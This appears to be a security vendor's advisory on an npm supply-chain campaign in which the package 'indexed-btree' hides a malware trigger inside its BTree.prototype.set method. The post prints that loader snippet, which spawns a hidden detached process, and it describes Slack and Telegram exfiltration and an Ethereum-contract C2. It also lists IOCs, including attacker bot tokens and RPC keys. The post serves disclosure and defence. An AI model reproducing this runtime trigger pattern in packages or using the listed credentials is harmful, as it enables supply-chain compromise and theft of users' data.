---
title: "npm ‘btree’ Malware Campaign Affects Millions of Downloads, No Need for Install Script"
date: "2026-09-17T14:13:00+00:00"
url: "https://checkmarx.com/zero-post/npm-btree-malware-campaign-affects-millions-of-downloads-no-need-for-install-script/"
description: "An ongoing npm supply chain campaign is using a malicious package, indexed-btree, that mimics the legitimate sorted-btree library — but instead of a preinstall or postinstall script, its malware trigger is buried inside the package's own prototype method, firing the moment the library is used. The malware fingerprints hosts, exfiltrates data via Slack and Telegram, and uses an Ethereum smart contract as a resilient C2 channel. Checkmarx Zero breaks down the technique, the IOCs, and why runtime — not just install-time — analysis is now essential."
---

# npm ‘btree’ Malware Campaign Affects Millions of Downloads, No Need for Install Script

An ongoing campaign on npm affects various packages using a smart contract. As of this writing, the attackers appear to have earned 109 ETH, which sums around 230,933.57€. The tactic obscures malicious code inside the target package’s JavaScript prototype code instead of an install script, demonstrating our previous prediction that npm’s [blocking of lifecycle scripts would cause a shift in attacker tactics](https://checkmarx.com/zero-post/npm-v12-lifecycle-script-limits-a-real-malicious-package-risk-reduction-or-just-moving-risk-around/).

Since this campaign is ongoing, this post will remain updated as new details emerge.

## Summary

***Indexed-btree*** is a malicious npm package mimicking the legit **sorted-btree** package, an ordinary B-tree/indexing utility. Unlike the common attacks we’ve seen in the supply chain space, this package does not rely on `preinstall` / `postinstall` at all. Instead, it runs entirely from application code at runtime. Additionally, this package achieved almost 2 million weekly downloads, which shows not much has changed in the npm ecosystem despite the limitations put on lifecycle scripts***.***

## What’s new

npm v12 provided a big shift by blocking lifecycle scripts but this is not stopping attackers. This may be fooling defenders into thinking packages are legit just because no install script is present. But as we discussed in our previous blog “npm v12 Lifecycle Script Limits”, that just defers the exploit code from the installation stage to the importation stage of a malicious package.

## The trigger: a simple load inside the main method

There is no install hook inside `package.json`, so merely installing the package doesn’t do anything malicious.

The malware loader hides inside the library’s own `BTree.prototype.set` method, which is the main function that every user would call constantly. This triggers the `sharedLoad.min.js` which contains the obfuscated first stage of the malware.

  Language:  Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML

  ```javascript
BTree.prototype.set = function (key, value, overwrite) {
    try {
        const path = require("path");
        const fs = require("fs");
        const {spawn} = require("child_process");
        const loadPath = path.join(__dirname, "extended", "sharedLoad.min.js");

        if (fs.existsSync(loadPath) && key == 100) {
            let child = spawn("node", [loadPath, String(key)], {
                detached: true,
                stdio: "ignore",
                windowsHide: true,
            });
            child.unref();
        }
    } catch(error) {}
    // ...
};

```

This is a well-built way to sneak past standard taint-analysis tools and most static scanners. The “install” hook is completely clean, but then the infection is inside a prototype function—since this is an override of a setter prototype, it is, in all likelihood, always going to fire upon package usage.

## Malware behavior overview

The package ships a heavily obfuscated file (with common techniques such as string-array encoding and self-checksumming array rotation) that:

- **Fingerprints and exfiltrates host information.** OS architecture, hostname, and CPU / memory / uptime are beaconed to a hardcoded Slack channel and Telegram chat.
- **Uses a smart contract as its Command and Control (C2) channel**. A blockchain contract deployed on Sepolia testnet exposes getter and setter functions that the malware polls instead of requesting a plain domain. This technique is more resilient to domain / IP takedown than traditional C2 approaches, since it uses the smart contract as a pointer to a new address whenever the old one gets taken down.
- **Unlocks the second-stage payload with an on-chain key exchange.** The loader generates its own X25519 keypair and retrieves the attacker’s X25519 public key from the contract. It computes an Elliptic-curve Diffie-Hellman (ECDH) shared secret between the two keys to derive a new AES symmetric key. Then it uses that AES key to decrypt two ciphertext blobs stored in the contract that, once merged, form the malware’s second-stage payload.
- **Cleans its traces**. Contains functionality to delete the malware files and remove the trigger code from the main prototype function.

## And how can it be that popular?

This campaign is quite sophisticated in how it tries to make the package look legit. It does not only lack the obvious install scripts, but it also contains a legit-looking GitHub repo, with legit-looking commits and an account.

At the time of writing, the repository is still up: [https://github.com/INDEXED-BTREE/indexed-btree/commits/main/](https://github.com/INDEXED-BTREE/indexed-btree/commits/main/)

A GitHub repository is something that attackers don’t usually bother creating. This one is clever enough to not include the malicious code. Additionally, the presence of many commits can aid in making it look like a legit repository.

The account itself doesn’t contain much activity or a detailed bio, but the presence of an AI-generated photo is still a good way to make it look legit at first glance.

![](https://checkmarx.com/wp-content/uploads/2026/09/cxzero_cxzero-npm-btree-malware-campaign_image01.webp)GitHub repository of the malicious package![](https://checkmarx.com/wp-content/uploads/2026/09/cxzero_cxzero-npm-btree-malware-campaign_image02.webp)Legit-looking commits![](https://checkmarx.com/wp-content/uploads/2026/09/cxzero_cxzero-npm-btree-malware-campaign_image03.webp)Fake GitHub account## Indicators of Compromise (IOCs)

### List of packages

***Indexed-btree*** is the malicious sample, and these are packages that were subsequently removed:

- ordered-kv-index (448,184 downloads)
- btree-leaderboard (493,685 downloads)
- priority-slot-queue (402,860 downloads)
- btree-range-store (468,092 downloads)
- btree-core (1,951,274 downloads)
- btree-time-index (425,312 downloads)
- btree-lru-cache (372,185 downloads)
- neighbor-key-map (366,019 downloads)

- sliding-score-window (448,024 downloads)

It’s worth noting that the attackers’ smart contract was also found in the past in other packages:

- mutex-forge

### Ethereum Sepolia smart contract

- **Contract address:**0xE390863Dac96a7118C71227C2b099B50cF602D31

### RPC endpoints

- [https://eth-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDI](https://eth-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDI)
- [https://sepolia.infura.io/v3/dc7257d09fab42eca2c354c32fec1938](https://sepolia.infura.io/v3/dc7257d09fab42eca2c354c32fec1938)

### Telegram exfil channel

- **Bot token:**8961878831:AAG4WTbRUcbXI5UCaN4VXK8k57ghqqkg\_qI
- **Chat ID:** -1003952553968

### Slack exfil channel

- **Bot token:**xoxb-11307403103236-11289767127959-U58yt3zLurAvVoZOf0OBtxCW
- **Channel ID:** C0B8XPGCKQS

### Cryptographic keys

- **Hardcoded X25519 public key (SPKI/DER, hex):**bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702

## Why this campaign matters

This ongoing campaign is a dynamic threat to organizations, with a resilient C2 and malicious code hidden inside package code.

From a more academic perspective: we’ve already covered how this shift of malicious code from install scripts to runtime execution was inevitable, and how that simple change of attacker tactic made the removal of install scripts an ultimately weak mitigation. This package, with its transition of malicious content from lifecycle scripts to main package code, is a good example of how that can play out. Despite the npm change, attackers produced sophisticated malware that hit 2 million weekly downloads and didn’t need `postinstall` to run.

Blocking lifecycle scripts is still worth doing, but runtime behavior analysis, not just install-time, is what actually catches packages like this.

See [our recent discussion on npm v12 lifecycle-script blocking](https://checkmarx.com/zero-post/npm-v12-lifecycle-script-limits-a-real-malicious-package-risk-reduction-or-just-moving-risk-around/).
